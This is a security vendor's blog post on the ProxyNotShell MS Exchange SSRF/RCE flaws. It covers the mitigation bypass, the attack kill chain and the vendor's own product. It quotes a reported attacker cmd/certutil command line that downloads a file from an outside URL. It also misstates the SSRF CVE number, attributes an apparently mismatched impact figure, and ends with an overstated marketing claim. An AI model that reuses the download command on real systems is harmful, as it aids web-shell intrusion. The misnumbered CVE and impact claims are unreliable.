Overview
On September 28, 2022, a Vietnamese MSSP for a cyber security product released a blog with a warning about how a zero-day exploit was exploiting a zero-day vulnerability in the MS Exchange Server.
Per Microsoft’s guidance, MS Exchange Server 2013 Update 12, MS Exchange Server 2016 Update 23, and MS Exchange Server 2019 Update 12 and earlier are vulnerable to the two MS Exchange CVE vulnerabilities:, CVE-2022-41020 (SSRF) and CVE-2022-41082 (RCE) that were the root cause of the exploitation.
Current State of Mitigation
At the time of writing (Nov 1st, 2022), Microsoft is yet to release a patch. That said, it has released some guidance and a potential workaround. Per their guidance, Microsoft said that the attacker must have credentials of a legitimate user for the attack to succeed. Unfortunately, this is not very difficult to achieve through several means, including “buying” credentials on the dark web or brute forcing the credentials. Microsoft also released mitigation advice that involved the MS Exchange admin writing a URL Rewrite “Rule” to block the request in the original HTTP Request to the OWA service that contains another call to an unrelated MS Exchange Server service called the Autodiscover service.
Serious Problems with Microsoft Mitigation
There are two very serious implications arising from Microsoft’s remediation advice.
First, the Microsoft recommended remediation advice was challenged by a user Jang (@testanull), who posted a YouTube video of how it was possible to bypass the Microsoft mitigation and still exploit the SSRF (Server Side Request Forgery) vulnerability. This highlights the shortcomings of the current genre of cyber security product tools that implement the deny-rule mindset. It also underscores the need to migrate to the default-deny mindset, which does not “assume” how users will use the application.
Second, the Microsoft remediation assumed that the attacker would use the PowerShell LOLBIN to drop the web shell. As the GTSC blog shows, the alternate attack therein showed that the bad actor could use the certutil.exe utility to drop the web shell on the victim server. Once again, this shines the light on the limitations of the deny-rule mindset too deeply embedded in the cyber defenses offered by the current genre of cyber security products. This sort of thinking guarantees that we will always be behind the attacker-positioned eight-ball.
The need of the hour is to have products that ensure that the process command line denies execution of any code (executables, libraries, scripts, byte code, etc.) that the organization does not EXPLICITLY trust.
If we continue to use cyber controls that leverage the deny-rule mindset, we will NEVER escape the vicious cycle of being in reactive mode. It is very much possible to use cyber security controls that implement the deny-default mindset and only allow those processes to execute that the developer envisaged.
Attack Kill Chain
Please refer to figure 1 below (click image to enlarge).
The bad actor starts by establishing via steps 1 and 2 if the Internet-accessible server is actually vulnerable to the attack or not. Then at step 3, the attacker sends a malicious HTTP Request that allows them not only to be authenticated but also to obtain a token for an admin user. At step 7, armed with the admin token, the attacker targets the Exchange Server’s Auto Discover service, which is also vulnerable to the RCE vulnerability. This helps to drop a web shell on the Exchange Server. The web shell also helps sets up a reverse channel (or hands-on keyboard access) from the bad actor’s remote server. The bad actor now “owns” the victim Exchange Server. They can use this two-way communication to drop more malware, read emails, dump passwords, move laterally to critical servers like Active Directory and Domain Controllers, and exfiltrate data in databases. The extent of what the attacker can do is only limited by their imagination.
Who was behind the attack?
From the blog published by GTSC, the MSSP that first discovered the attack in the wild showed the use of a command lines follows:
"cmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E].
It should be noted that every command ends with the string echo [S]&cd&echo [E], which is one of the signatures of the Chinese Chopper web shell.
Impact of ProxyNotShell
Some reports of the blast radius of the ProxyNotShell attack show that over 60,000 MS Exchange Servers deployed worldwide were in the crosshairs. According to this Wall Street Journal, over 250,000 organizations, including tens of thousands of US organizations, were impacted.
How Does the Virsec Security Platform (VSP) help?
Virsec protects at various stages of the attack kill chain. In step 4, when the attacker sends the SSRF (Server Side Forgery Request) request to call the PowerShell module, Virsec Web ProtectionRFI (Remote File Inclusion) feature detects the SSRF attack and stops the attacker from going any further. In step 8, when the attackers try to drop the malicious web shell, Virsec FIA (File Integrity Assurance) quarantines the web shell. In step 10, when the attacker sends malware using the web shell, Virsec Web Protection would detect the attack as a command injection. Also, Virsec FIA would detect the malicious malware dropped. In steps 11 and 12, when the attacker tries to activate the malware using the web shell, Virsec Web Protection would detect the attack as a command injection. Also, the Virsec Executable Allow Listing would block the malware from executing. In step 13, any actions performed by the malware using the LOLBins would be detected by Virsec Application Control Policies and blocked instantly with zero dwell time. At step 14, when the malware tries to send confidential data back to the attacker, Virsec Web Protection will detect the attack as Data leakage.
Virsec offers two levels of protection – one with its VSP-Advanced module and one with its VSP-Premium product, as shown in Figures 2 and 3 (click images to enlarge), respectively as shown below.
Both Virsec licenses provide zero dwell time protection for even unpatched MS Exchange Servers, irrespective of whether the Microsoft/Jang provided remediation was applied or not. With the Virsec Security Platform, there would be no costs associated with incident response, recovery, business interruption, loss of reputation, litigation, etc.